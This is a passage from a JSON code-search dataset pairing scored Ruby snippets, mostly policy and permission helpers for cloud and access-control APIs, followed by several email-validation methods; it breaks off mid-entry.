"text": "def read_gateway_policy_for_domain_0(domain_id, gateway_policy_id, opts = {})\n data, _status_code, _headers = read_gateway_policy_for_domain_0_with_http_info(domain_id, gateway_policy_id, opts)\n data\n end",
"title": ""
},
{
"docid": "c226215ab340ac9e18e067268a8681f9",
"score": "0.429766",
"text": "def backup backup_id\n ensure_service!\n grpc = service.get_backup instance_id, backup_id\n Backup.from_grpc grpc, service\n rescue Google::Cloud::NotFoundError\n nil\n end",
"title": ""
},
{
"docid": "f53f6e7c5bd7a0cd9740dd14f2f56a82",
"score": "0.42941675",
"text": "def modify_backup_policy(d_b_instance_id, preferred_backup_period, preferred_backup_time, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ModifyBackupPolicy'\n\t\targs[:query]['DBInstanceId'] = d_b_instance_id\n\t\targs[:query]['PreferredBackupPeriod'] = preferred_backup_period\n\t\targs[:query]['PreferredBackupTime'] = preferred_backup_time\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "bc8a8447aa70803f785961bf01f930b5",
"score": "0.426547",
"text": "def policy_class\n @policy_class ||= Lookup::Policy.class_from_model(model_name)\n end",
"title": ""
},
{
"docid": "bc8a8447aa70803f785961bf01f930b5",
"score": "0.426547",
"text": "def policy_class\n @policy_class ||= Lookup::Policy.class_from_model(model_name)\n end",
"title": ""
},
{
"docid": "8a9ea439640ae3bb0900e5b37548d37e",
"score": "0.4261436",
"text": "def ostiary_policy(role = nil, only: nil, except: nil, method: nil)\n raise ArgumentError, \"Use at least role or method\" unless method || role\n raise ArgumentError, \"Use either role or method\" if method && role\n raise ArgumentError, \"Use either only or except\" if except && only\n raise ArgumentError, \"Use a symbol for method:\" if method && !(method.is_a? Symbol)\n\n if only\n ostiary.policies << PolicyLimited.new(role, only, method: method&.to_proc)\n elsif except\n ostiary.policies << PolicyExempted.new(role, except, method: method&.to_proc)\n else\n ostiary.policies << Policy.new(role, method: method&.to_proc)\n end\n end",
"title": ""
},
{
"docid": "7c7b795e3b0a2c0717e6d27e5a72f9ae",
"score": "0.42612416",
"text": "def policy_hash\n to_hash\n end",
"title": ""
},
{
"docid": "3856d41e8fcdf4a85e31e3169b9f328e",
"score": "0.42468035",
"text": "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 60.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => Figaro.env.s3_bucket_name},\n [\"starts-with\", \"$key\", ''],\n {\"acl\" => \"public-read\"},\n {\"success_action_status\" => \"201\"},\n [\"starts-with\", \"$utf8\", ''],\n [\"starts-with\", \"$authenticity_token\", ''],\n [\"content-length-range\", 0, Figaro.env.s3_max_file_size.to_i]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end",
"title": ""
},
{
"docid": "f84b1f7b3887c5bca64816b2b5115d63",
"score": "0.4226752",
"text": "def app_management_policies\n return @app_management_policies\n end",
"title": ""
},
{
"docid": "57586bd06412c3d0cad1c63d3a50fbb2",
"score": "0.4226693",
"text": "def get_policy_by_name(policy_name)\n policy_id = get_policy_id_by_name(policy_name)\n request.get({ path: \"/policies/#{policy_id}\", headers: headers })\n end",
"title": ""
},
{
"docid": "8d032b6c1b7368388cac23b92573f915",
"score": "0.42254242",
"text": "def swf_generated_policy\n return policy = Base64.encode64(\"{'expiration': '#{@expiration_date}',\n 'conditions': [\n {'bucket': '#{swf_bucket}'},\n {'acl': '#{@acl}'},\n {'success_action_status': '201'},\n ['content-length-range', 0, #{@max_filesize}],\n ['starts-with', '$key', '#{@s3_file_key}'],\n ['starts-with', '$Content-Type', ''],\n ['starts-with', '$Filename', '']\n ]\n }\").gsub(/\\n|\\r/, '')\n end",
"title": ""
},
{
"docid": "ddbe1f5191b9720b93a7d27dd5c0c26e",
"score": "0.42220443",
"text": "def get_iam_policy request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/disks/#{request_pb.resource}/getIamPolicy\"\n\n query_string_params = {}\n query_string_params[\"optionsRequestedPolicyVersion\"] = request_pb.options_requested_policy_version.to_s if request_pb.options_requested_policy_version && request_pb.options_requested_policy_version != 0\n\n response = @client_stub.make_get_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Policy.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"title": ""
},
{
"docid": "b8ca5ed54e6bee6be5b2e6f01691b216",
"score": "0.42125237",
"text": "def get_permissions(username)\n p = lookup_permissions(username)\n if p\n return p\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "2f0e0f2e9510493165cfb141f14836e6",
"score": "0.42020455",
"text": "def policy_get_first\r\n\t\tpost= { \"token\" => @token } \r\n\t\tdocxml=nessus_request('policy/list', post)\r\n\t\tdocxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy|\r\n\t\t\t\treturn policy.elements['policyID'].text, policy.elements['policyName'].text\r\n\t\t}\r\n\tend",
"title": ""
},
{
"docid": "974f711f40213a466bd8c753f60d7d54",
"score": "0.41865537",
"text": "def get_access_policy request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_access_policy_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Identity::AccessContextManager::V1::AccessPolicy.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "dad434d1fca251772dacdf2a96c326a8",
"score": "0.41840452",
"text": "def get_policy_overrides(opts = {})\n data, _status_code, _headers = get_policy_overrides_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "3445b78b894c42b7e2dd9c32a331cd4a",
"score": "0.4177808",
"text": "def define_policy(bucket_name, account_id)\r\n {\r\n 'Version' => '2012-10-17',\r\n 'Statement' => [\r\n {\r\n 'Sid' => 'AWSCloudTrailAclCheck20150319',\r\n 'Effect' => 'Allow',\r\n 'Principal' => {\r\n 'Service' => 'cloudtrail.amazonaws.com'\r\n },\r\n 'Action' => 's3:GetBucketAcl',\r\n 'Resource' => \"arn:aws:s3:::#{bucket_name}\"\r\n },\r\n {\r\n 'Sid' => 'AWSCloudTrailWrite20150319',\r\n 'Effect' => 'Allow',\r\n 'Principal' => {\r\n 'Service' => 'cloudtrail.amazonaws.com'\r\n },\r\n 'Action' => 's3:PutObject',\r\n 'Resource' => \"arn:aws:s3:::#{bucket_name}/AWSLogs/#{account_id}/*\",\r\n 'Condition' => {\r\n 'StringEquals' => {\r\n 's3:x-amz-acl' => 'bucket-owner-full-control'\r\n }\r\n }\r\n }\r\n ]\r\n }.to_json\r\n end",
"title": ""
},
{
"docid": "564fab9f0a6f6e7f8ba7bed3de089d9e",
"score": "0.4177747",
"text": "def delete_ory_access_control_policy(flavor, id, opts = {})\n delete_ory_access_control_policy_with_http_info(flavor, id, opts)\n nil\n end",
"title": ""
},
{
"docid": "ea3b7dba6222e2e4f7648034b33c7761",
"score": "0.4176892",
"text": "def policies()\n return MicrosoftGraph::Policies::PoliciesRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"title": ""
},
{
"docid": "c5de516417d39ee28e8e8b39d90f3b60",
"score": "0.4172551",
"text": "def frozen_policy_store\n @frozen_policy_store = {} if @frozen_policy_store.nil?\n return @frozen_policy_store\n end",
"title": ""
},
{
"docid": "8207f6c1faf1eb5d6d1abf3cb0552bcf",
"score": "0.41709533",
"text": "def test_backup_permissions instance_id, cluster_id, backup_id, permissions\n tables.test_iam_permissions resource: backup_path(instance_id, cluster_id, backup_id),\n permissions: permissions\n end",
"title": ""
},
{
"docid": "53d39cb125acc36f737550e82f8e000d",
"score": "0.4168464",
"text": "def get_asset_policy_overrides(id, opts = {})\n data, _status_code, _headers = get_asset_policy_overrides_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "777f98ea8ef6106c18eaee11d14aff0b",
"score": "0.41682237",
"text": "def get_latest_privacy_policy(opts = {})\n data, _status_code, _headers = get_latest_privacy_policy_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "e50fd19885c943e03824064ea5596c83",
"score": "0.4162818",
"text": "def eval_policy(policy_type) \n\n # Bail out on the policy evaluation if 'override_policy' is defined \n # in the current Thread. This indicates that there is some function \n # privileging that should take the place of the actual policy.\n\n return Thread.current['override_policy'].call unless Thread.current['override_policy'].nil?\n\n # If there is no policy object defined, then we assume that \n # access should be allowed. This is part of our philopsophy that\n # GuardRails should not interfere with existing functionality\n # unless explicity told to do so.\n\n if policy_object.nil?\n if policy_type == :append_access\n # Not sure whether defering to :write_access in this case\n # actually does anything since the entire object is nil\n return eval_policy(:write_access)\n else\n return true\n end\n end\n\n # If there is a policy_object, but it has no rule for the \n # specific type of access we are concerned with, true is the\n # default response, except in the case of append access, which\n # should defer to write access if undefined. After all, if\n # you do not have write access, you should not be able to\n # append anything.\n\n function = policy_object[policy_type]\n if function.nil?\n if policy_type == :append_access\n return eval_policy(:write_access)\n else\n return true\n end\n end\n\n # Loopbreak is a thread variable that prevents infinite loops\n # from occuring when an access control check occurs within\n # an annotation's function that are mutually dependent.\n # For now, we just run the annotation functions in a universally\n # privileged environment.\n\n return true if Thread.current['loopbreak'] == true\n Thread.current['loopbreak'] = true\n\n # The number of parameters passed to the policy's function depends\n # on how many parameters it wants. It can have no parameters, the\n # current user if it has one parameter, and the current user and \n # response information if it has two.\n\n func = eval(function)\n if func.arity == 0\n ret = eval(function).call\n elsif func.arity == 1\n ret = eval(function).call(Thread.current['user'])\n elsif func.arity == 2\n ret = eval(function).call(Thread.current['user'], Thread.current['response'])\n else\n raise GuardRailsError, \"Annotation Policy Requires Too Many Parameters\"\n end\n\n # Turn of the extra privileges\n Thread.current['loopbreak'] = false\n\n # Return true if the access is allowed, false otherwise\n ret\n end",
"title": ""
},
{
"docid": "eb76d3e12b8bd38bdb04917a0ac00daa",
"score": "0.41619194",
"text": "def get_password_policy(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetPasswordPolicy'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "9f7d6ba0390d240477fd528c4f9a92f3",
"score": "0.41508037",
"text": "def policy=( val )\n val = val.to_s\n raise \"Invalid policy\" unless val == \"allow\" || val == \"deny\"\n\n self.permissions['policy'] = val\n end",
"title": ""
},
{
"docid": "eefc3417bec34c550bd05a463012d53a",
"score": "0.4149674",
"text": "def policy(auth)\n # Dynamically create an instance of appropriate policy.\n class_name = \"#{auth['provider']}\".classify\n \"OAuthPolicy::#{class_name}\".constantize.new(auth)\n end",
"title": ""
},
{
"docid": "e806a8a948b9e908620de04e9f8d4c68",
"score": "0.41437864",
"text": "def default_acl\n @default_acl ||= Bucket::DefaultAcl.new self\n end",
"title": ""
},
{
"docid": "93f2f7adcaeda06deaff1aefc377cbed",
"score": "0.414351",
"text": "def generated_policy(expiration_date, bucket, acl, max_filesize, s3_file_key)\n return policy = Base64.encode64(\"{'expiration': '#{expiration_date}',\n 'conditions': [\n {'bucket': '#{bucket}'},\n {'acl': '#{acl}'},\n {'success_action_status': '201'},\n ['content-length-range', 0, #{max_filesize}],\n ['starts-with', '$key', '#{s3_file_key}'],\n ['starts-with', '$Content-Type', ''],\n ['starts-with', '$name', ''],\n ['starts-with', '$Filename', '']\n ]\n }\").gsub(/\\n|\\r/, '')\n end",
"title": ""
},
{
"docid": "7abf0d2a537336789f7576f905999d51",
"score": "0.4142756",
"text": "def get_privacy_policy(id, opts = {})\n data, _status_code, _headers = get_privacy_policy_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "57effaefef0906fa8092deb656df4d76",
"score": "0.41189182",
"text": "def bit_locker_removable_drive_policy\n return @bit_locker_removable_drive_policy\n end",
"title": ""
},
{
"docid": "d8a40412e8197bade53e5c7115193faa",
"score": "0.41186938",
"text": "def get_alert_policy(policy_id, opts = {})\n data, _status_code, _headers = get_alert_policy_with_http_info(policy_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "1aa59eed564106dbf24075282e695f6d",
"score": "0.41113386",
"text": "def policy_document\n @policy_document ||=\n Base64.encode64(\n MultiJson.dump(\n {\n expiration: 10.hours.from_now.utc.iso8601(3),\n conditions: [\n { bucket: options[:bucket] },\n { acl: options[:acl] },\n { success_action_status: '201' },\n [\"content-length-range\", 0, options[:max_file_size]],\n [\"starts-with\", \"$utf8\", \"\"],\n [\"starts-with\", \"$key\", \"\"],\n [\"starts-with\", \"$Content-Type\", \"\"]\n ]\n }\n )\n ).gsub(/\\n/, '')\n end",
"title": ""
},
{
"docid": "630b27d56f4fb8f710b1868aaf76dab5",
"score": "0.4110204",
"text": "def get_policy_config(id)\n parsed_response(\n path: \"#{realm_admin_root(realm)}/clients/#{clients.find { |client|\n client.name == 'realm-management'\n }.id}/authz/resource-server/policy/role/#{id}\"\n )\n end",
"title": ""
},
{
"docid": "e71bcd4e28127d72576fe05febd9afe2",
"score": "0.41045377",
"text": "def assignment_policies\n return @assignment_policies\n end",
"title": ""
},
{
"docid": "fc0ce5827cf003c1a38e9a50b22113dc",
"score": "0.4099228",
"text": "def policy_class\n nil\n end",
"title": ""
},
{
"docid": "a31ff6e023d83cea626c49706b157e53",
"score": "0.4098208",
"text": "def group_policies\n policies = []\n Group.each do |group|\n group.group_memberships.each do |membership|\n if membership.account_id == _id\n policies.push(group.group_policy)\n end\n end\n end\n return policies\n end",
"title": ""
},
{
"docid": "3eadac0c8b8fdfeea4761fe84c9acf26",
"score": "0.4089404",
"text": "def read(id, options = {}, not_found = :reject, found = :return)\n @options = options\n custom_params = []\n custom_params << use_consistency(options)\n\n @raw = send_get_request(@conn_no_err, [\"/v1/acl/policy/#{id}\"], options, custom_params)\n\n if @raw.status == 200 && @raw.body.chomp != 'null'\n case found\n when :reject\n raise Diplomat::PolicyNotFound, id\n when :return\n return parse_body\n end\n elsif @raw.status == 404\n case not_found\n when :reject\n raise Diplomat::PolicyNotFound, id\n when :return\n return nil\n end\n elsif @raw.status == 403\n case not_found\n when :reject\n raise Diplomat::AclNotFound, id\n when :return\n return nil\n end\n else\n raise Diplomat::UnknownStatus, \"status #{@raw.status}: #{@raw.body}\"\n end\n end",
"title": ""
},
{
"docid": "676ab66962ef7434af32302bb1efedb6",
"score": "0.4080026",
"text": "def index\n @permission_policies = PermissionPolicy.all\n end",
"title": ""
},
{
"docid": "17d84571dd02a2b43a1e8ca99b62a334",
"score": "0.40774503",
"text": "def policies\n @policies = Policy.all\n end",
"title": ""
},
{
"docid": "85c38f312fd460400266d8d93dd5ab6b",
"score": "0.40751716",
"text": "def last_policy\n @last_policy = Privacypolicy.where(:online => true).order(:publication_time).last\n if @last_policy.nil?\n flash[:danger] = \"Le site n'a actuellement aucune politique de confidentalité.\"\n redirect_to root_path\n else\n redirect_to @last_policy\n end\n end",
"title": ""
},
{
"docid": "d0f62febacb010b97120ef28c345d057",
"score": "0.4074059",
"text": "def permissions_policy(&block); end",
"title": ""
},
{
"docid": "cd585ece04eb7faa77b487b4cb14b177",
"score": "0.40729484",
"text": "def policies_for_widget widget, options\n widget = widget.is_a?(Widget) ? widget : Widget.find(widget)\n policies = UbiquoDesign::CachePolicies.get(options[:policy_context])[widget.key]\n [widget, policies]\n end",
"title": ""
},
{
"docid": "0ec6ff42974fcd6d35b0583e7e284dad",
"score": "0.4069472",
"text": "def set_permission_policy\n @permission_policy = PermissionPolicy.find(params[:id])\n end",
"title": ""
},
{
"docid": "9c3987a5f5ea5a69682ba74a088f7507",
"score": "0.4045528",
"text": "def get_current_permissions()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('permission', 'getCurrentPermissions', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"title": ""
}
] |
7281ccb036fd382f2c26da04e53befef
|
Author Tony Su 2/27 Fills in field of contact_email,check if user enter a valid osu email
|
[
{
"docid": "44fdea2b3198554cdfe221bf4b8fdabc",
"score": "0.80255103",
"text": "def contact_email\n puts \"Please enter your email:\"\n email = gets.chomp!\n # check the format of the email address. The email address must be a osu email.\n until email =~ /[a-z][a-z]*\\.[1-9]\\d*@osu\\.edu/\n puts \"Please enter a valid email address of osu, format should looks like su.342@osu.edu\"\n email = gets.chomp!\n end\n @form['contact-email'] = email\n end",
"title": ""
}
] |
[
{
"docid": "1ac5e37ee0a9b904fbd29369c246d377",
"score": "0.80674887",
"text": "def validate_contact_fields\n (@contact[:email] =~ Authlogic::Regex.email && @contact[:name] != '' && @contact[:message] != '')\n end",
"title": ""
},
{
"docid": "488b5333cded731fd686e64b2b33dbfa",
"score": "0.7430555",
"text": "def validate_email\n gets_user_data_email(\"email: \")\n end",
"title": ""
},
{
"docid": "a71ac08781862329bd1dd0fdd99b4dcc",
"score": "0.7233446",
"text": "def check_email\n\n end",
"title": ""
},
{
"docid": "a2040cdbeb7355c4e204653ebe42ee1c",
"score": "0.7196186",
"text": "def email_validator\n\t\tif email != '' \n\t\t\tif !(email =~ (/\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z\\d\\-]+)*\\.[a-z]+\\z/i))\n\t\t\t\terrors.add(:email, \"El email no tiene el formato correcto\")\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "341fd5936e2d7adbff3e69f190ad28b1",
"score": "0.7163054",
"text": "def check_email_match\n\t\tif provider.blank?\n \t\terrors.add(:email, \"error: los dos correos no son idénticos, por favor, escriba y repita de nuevo su email\") if email != email_repeat\n \tend\n\tend",
"title": ""
},
{
"docid": "6ea205134ab96a9f9026667ceea167db",
"score": "0.7136062",
"text": "def email_is_valid\n errors.add(:email, \"Invalid email address entered.\") unless email_is_valid?\n end",
"title": ""
},
{
"docid": "3f708640264e7bb151379f8816e2e375",
"score": "0.71310693",
"text": "def validate_email(to_email)\n return nil if to_email.nil?\n\n # Remove name and just keep the e-mail part\n email = to_email.gsub(/.*</, \"\").gsub(/>.*/, \"\")\n\n # Check for the e-mail\n email =~ EMAIL_REGEX\nend",
"title": ""
},
{
"docid": "e9bc8e0c0ea1c2ec998267c41c7d69f5",
"score": "0.7122717",
"text": "def email_valid\n if email_empty\n @errors << \"Email cannot be blank!\"\n end\n if email_tomlinson == false\n @errors << \"Email must contain an '@' symbol!\"\n end\n end",
"title": ""
},
{
"docid": "1bd0ab0499fe6f7bdf7308b20391a020",
"score": "0.7105155",
"text": "def email_format_check(email)\n return if email.blank?\n if email.length < 5\n invalid_icon_tag + ' too short'\n else\n if User.with_email email\n invalid_icon_tag + ' taken'\n elsif !email.chomp.end_with? '.edu'\n invalid_icon_tag + ' must be an .edu address'\n else\n valid_icon_tag + ' available'\n end\n end\n end",
"title": ""
},
{
"docid": "36004cca0f2f9f6b18b5d98e61090f5e",
"score": "0.7077006",
"text": "def valid_email_for_solr\n valid_email? ? 1 : 0\n end",
"title": ""
},
{
"docid": "b09f9ac0aac194d21d9b92bee334b7e6",
"score": "0.7072922",
"text": "def validate_email(email)\n if email.nil? # Email must not be nil\n @@errors.push(\"<b>Email</b> must not be left blank\")\n elsif valid_email_format?(email) != 0 # Email must have the correct format\n @@errors.push(\"<b>Email</b> must not be left blank\")\n elsif email.length > 100 # Email must not exceed 100 characters\n @@errors.push(\"<b>Email</b> is too long\")\n end\n # Checks if the email address already exists\n if email_exists?(email)\n @@errors.push(\"<b>Email</b> already exists\")\n end\n\n end",
"title": ""
},
{
"docid": "ec752297938bd37062093a027b729709",
"score": "0.7070971",
"text": "def guess_type_email?\n field_value.match(/@/)\n end",
"title": ""
},
{
"docid": "9b814cd2d423646fd0b81c491a9bc209",
"score": "0.70356315",
"text": "def check_email_format\n\t\tunless self.email =~ Devise.email_regexp\n\t\t\terrors.add(:email, \"#{self.email} is not a valid email address. Please enter only email addresses (no names or spaces).\")\n\t\t\tthrow(:abort)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2bdf772223ba569c86415df5da2e020c",
"score": "0.70297563",
"text": "def validate_email\n if email.to_s.empty?\n errors.add_to_base( \"You didn't fill out the email address field. Please enter your email address and try again.\")\n\n elsif !(email.to_s =~ /^([^@\\s]+)@((?:[-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,})$/)\n errors.add_to_base( \"The email address you entered isn't valid. Please make sure your email address is in the name@email.com format.\")\n\n elsif self.class.find( :first, \n :conditions => ( new_record? ? \n [\"email = ?\", \n email] : \n [\"email = ? AND #{self.class.primary_key} <> ?\", \n email, \n id ] ) )\n errors.add_to_base( \"The email address you've entered is already in use. You can only have one account per email address.\")\n end \n end",
"title": ""
},
{
"docid": "80b070ff8c4ca16f28d76219d8f775b8",
"score": "0.7023423",
"text": "def validate_contact\n errors.add(:mail, \"You must fill in at least one contact field\") if phone.blank? && mail.blank? && website.blank?\n end",
"title": ""
},
{
"docid": "2f7ddec75a1406b3cde59ac54566b2e1",
"score": "0.70214295",
"text": "def valid_email\n errors.add :email, \"is invalid\" unless self.email =~ /\\A[\\w+]+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/i\n end",
"title": ""
},
{
"docid": "83fef8160c132c351bb57a9e13ead424",
"score": "0.6991042",
"text": "def valid_email\n errors.add(:email, \"Is not valid\") unless email =~ /.*?\\@.*?\\..*/\n end",
"title": ""
},
{
"docid": "478c2be593369ed936d0b2cd68bc6185",
"score": "0.69728035",
"text": "def verify_email\n prompt.ask(\"What is your email?\") do |q|\n q.validate(/\\A\\w+@\\w+\\.\\w+\\Z/)\n q.messages[:valid?]=\"Invalid email address\"\n end\n end",
"title": ""
},
{
"docid": "2570326dfcfd768491264cde5e7b521a",
"score": "0.69686025",
"text": "def email_entered\n !email.nil? \n end",
"title": ""
},
{
"docid": "68d100602761181ef45417b0665ef243",
"score": "0.6938774",
"text": "def email_ucd?(email)\n if email.length > 50\n then print_error(\"Email too long\")\n elsif !email.end_with?\"ucdconnect.ie\"\n then print_error(\"Invalid email! Please enter your UCD connect email.\")\n else true end\nend",
"title": ""
},
{
"docid": "3cbf8eb183fbb05a3d3464b1997e7940",
"score": "0.6922626",
"text": "def forgot_email\n if fld.text() == ''\n p \"email inputted\"\n else\n p \"email not inputted\"\n end\n end",
"title": ""
},
{
"docid": "55e55a41fbf948bf1fbea1d53e7b782b",
"score": "0.69134396",
"text": "def email_validation\n if status != User.attending_status[:not_attending] && (email.blank? || !(email =~ /\\A[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]+\\z/))\n errors.add(:email, \"A valid email is required for all attendees.\")\n end\n end",
"title": ""
},
{
"docid": "4de883b6852f6cf2b2966fe5203979cd",
"score": "0.6910516",
"text": "def validate_email\n if email.to_s.strip.end_with?('@energytransitionmodel.com')\n errors.add(:email, :disallowed_domain)\n end\n end",
"title": ""
},
{
"docid": "44c544db9e02ba0c30b482a3fb681078",
"score": "0.69071984",
"text": "def ask_email(email)\n if email =~ /^[\\w]+@[\\w-]+\\.[a-zA-Z]{2,3}(\\.[a-zA-Z]{2,3})?$/\n puts \"Email valid\"\n else\n puts \"Email invalid\"\n end\nend",
"title": ""
},
{
"docid": "b4fb766ff2eb9961756aae2ac7df6b65",
"score": "0.6905031",
"text": "def email_format\n\t\terrors.add(:email, :invalid) unless email.match(EMAIL_REGEXP)\n\tend",
"title": ""
},
{
"docid": "b4fb766ff2eb9961756aae2ac7df6b65",
"score": "0.6905031",
"text": "def email_format\n\t\terrors.add(:email, :invalid) unless email.match(EMAIL_REGEXP)\n\tend",
"title": ""
},
{
"docid": "fd42ace1411cec30f81d4a18519cd74c",
"score": "0.68989015",
"text": "def ensure_contact_details\n if email.blank? and phone.blank?\n message = '- please ensure you have either an email or phone contact details'\n errors.add :email, message\n errors.add :phone, message\n end\n end",
"title": ""
},
{
"docid": "7d5a87d31499a7ed87e4b94c1c33d7f4",
"score": "0.68982965",
"text": "def email_format\n unless email =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i\n errors.add(:email, \"Must be a valid email\")\n end\n end",
"title": ""
},
{
"docid": "316cf577b15410637b90d90f79437cbf",
"score": "0.6869469",
"text": "def should_validate_email?\n true unless self.email.empty?\n end",
"title": ""
},
{
"docid": "3ccde1edded9416412e25ac9170678b4",
"score": "0.68691844",
"text": "def email_format_is_correct\n if params[:email] =~ /^[a-z0-9_\\+-]+(\\.[a-z0-9_\\+-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*\\.([a-z]{2,4})$/\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "a564b34654656d9e9118098c3ee58004",
"score": "0.6854325",
"text": "def accept_email\n\t\tputs \"enter email address\"\n\t\t@email=gets\n\t\t# if (@email=~/^[A-Za-z0-9-\\\\+]+(\\\\.[_A-Za-z0-9-]+)*@\"+\"[A-Za-z0-9-]+(\\\\.[A-Za-z0-9]+)*(\\\\.[A-Za-z]{2,})$\"/) then \n\t\tif(@email=~/[a-z]+$/)\n puts \"\\t\\t\\tAccepted\"\n check_entry\n\n \n else\n puts \"\\t\\t\\tinvalid format\"\n accept_email\n end\n\n\n\tend",
"title": ""
},
{
"docid": "ed523a60cfc39a0590fc133a74fedb97",
"score": "0.68526113",
"text": "def validate_email_field(value = nil)\n config(:validate_email_field, value, true)\n end",
"title": ""
},
{
"docid": "26fa6650f20dc466a0169174dcd35902",
"score": "0.68523526",
"text": "def validate_email\n return if self.email.blank?\n errors.add(:email, :not_a_valid_email) if !Valid.email?(self.email)\n end",
"title": ""
},
{
"docid": "26fa6650f20dc466a0169174dcd35902",
"score": "0.68523526",
"text": "def validate_email\n return if self.email.blank?\n errors.add(:email, :not_a_valid_email) if !Valid.email?(self.email)\n end",
"title": ""
},
{
"docid": "f59992289bfc54eff8c478a495ed8f91",
"score": "0.68469995",
"text": "def identity_field_is_email?(identity_url)\n identity_url.include?('@') && (identity_url =~ /^[@]/).nil?\n end",
"title": ""
},
{
"docid": "eb613af2f60860c83f41862220172eac",
"score": "0.6825093",
"text": "def email_format\n errors.add(:email, :invalid) unless email.match(EMAIL_REGEXP)\n end",
"title": ""
},
{
"docid": "17514fd89639883552edbcb6c8af7905",
"score": "0.6801399",
"text": "def email?\n (email!=nil) ? true : false\n end",
"title": ""
},
{
"docid": "7bc54ea3c64cacefcec5373e13892a69",
"score": "0.6800706",
"text": "def valid_email?(email)\n # TODO: need a better check here\n email.include?('@') && email.include?('.')\nend",
"title": ""
},
{
"docid": "de3eb2e211b23e98b7cd0fbb9a3489e9",
"score": "0.6794407",
"text": "def is_email? \n if self.information.include?(\"@\") && self.information.include?(\".\")\n return true\n else\n return false\n end \n end",
"title": ""
},
{
"docid": "96154e8eaa33ac76b70abf782ac71f61",
"score": "0.67784494",
"text": "def check_create_user_email_is_valid\n return self.email != \"\" ? true : false\n end",
"title": ""
},
{
"docid": "31d1c9253899292a26ef139fbd3db1c4",
"score": "0.6777683",
"text": "def valid_email?\n !self.match(/^[A-Z0-9._%-]+@[A-Z0-9.-]+\\.(?:[A-Z]{2}|com|org|net|biz|info|name|aero|biz|info|jobs|museum|name)$/i).nil?\n end",
"title": ""
},
{
"docid": "31d1c9253899292a26ef139fbd3db1c4",
"score": "0.6777683",
"text": "def valid_email?\n !self.match(/^[A-Z0-9._%-]+@[A-Z0-9.-]+\\.(?:[A-Z]{2}|com|org|net|biz|info|name|aero|biz|info|jobs|museum|name)$/i).nil?\n end",
"title": ""
},
{
"docid": "06d4291758fe0e8a6df89143c7b9af22",
"score": "0.67743963",
"text": "def checks_email_alternativ (email)\n array = email.split(\"@\")\n p \"DOMAIN: #{array.last.downcase}\"\n if array.last.downcase.strip == \"uni-osnabrueck.de\" || array.last.downcase.strip == \"uos.de\"\n mail = array.first + \"@uni-osnabrueck.de\"\n @user = User.find_by(email: mail)\n if !@user\n mail = array.first + \"@uos.de\"\n end\n\n return mail.downcase\n else\n return email.downcase\n end\n end",
"title": ""
},
{
"docid": "049af84bd5cab077a738d7ba2146a668",
"score": "0.6769726",
"text": "def guess_type_email?(value)\n value.match(/\\S+@\\S+/)\n end",
"title": ""
},
{
"docid": "54f0911639bb90b70d48123946f3d8e2",
"score": "0.6732386",
